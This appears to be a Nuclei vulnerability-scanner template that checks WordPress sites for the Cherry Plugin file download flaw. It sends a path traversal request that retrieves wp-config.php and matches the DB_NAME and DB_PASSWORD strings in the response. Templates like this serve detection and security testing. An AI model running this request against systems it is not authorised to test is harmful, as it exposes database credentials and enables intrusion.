nuclei-templates/vulnerabilities/wordpress/cherry-lfi.yaml

30 lines
1.0 KiB
YAML

id: cherry-lfi
info:
name: Cherry Plugin < 1.2.7 - Unauthenticated Arbitrary File Upload and Download
author: dhiyaneshDK
severity: high
description: The cherry plugin WordPress plugin was affected by an unauthenticated file upload and download vulnerability, allowing attackers to upload and download arbitrary files. This could result in attacker uploading backdoor shell scripts or downloading the wp-config.php file.
reference:
- https://wpscan.com/vulnerability/90034817-dee7-40c9-80a2-1f1cd1d033ee
- https://support.alertlogic.com/hc/en-us/articles/115003048083-06-19-17-WordPress-CMS-Cherry-Plugin-Arbitrary-File-Upload-RCE
tags: wordpress,wp-plugin,lfi,wp
requests:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php?file=../../../../../wp-config.php'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
- type: status
status:
- 200